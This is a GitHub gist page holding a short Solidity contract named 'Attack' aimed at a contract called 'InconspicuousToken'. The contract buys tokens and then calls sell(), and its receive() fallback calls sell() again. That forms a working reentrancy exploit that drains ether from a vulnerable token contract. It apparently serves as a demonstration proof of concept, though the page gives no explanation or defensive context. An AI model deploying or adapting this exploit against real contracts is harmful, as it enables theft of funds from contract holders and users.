Skip to content

Instantly share code, notes, and snippets.

@encody
Created September 8, 2021 20:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save encody/14c9664517e5051cd9bcf2690b54b37f to your computer and use it in GitHub Desktop.
Save encody/14c9664517e5051cd9bcf2690b54b37f to your computer and use it in GitHub Desktop.
pragma solidity ^0.8.4;
contract Attack {
function contractBalance () external view returns (uint256) {
return address(this).balance;
}
function performAttack1 (address contractAddress) external payable {
InconspicuousToken i = InconspicuousToken(contractAddress);
i.buy{ value: msg.value }();
}
function performAttack2 (address contractAddress) external {
InconspicuousToken i = InconspicuousToken(contractAddress);
i.sell();
}
receive () external payable {
InconspicuousToken(msg.sender).sell();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment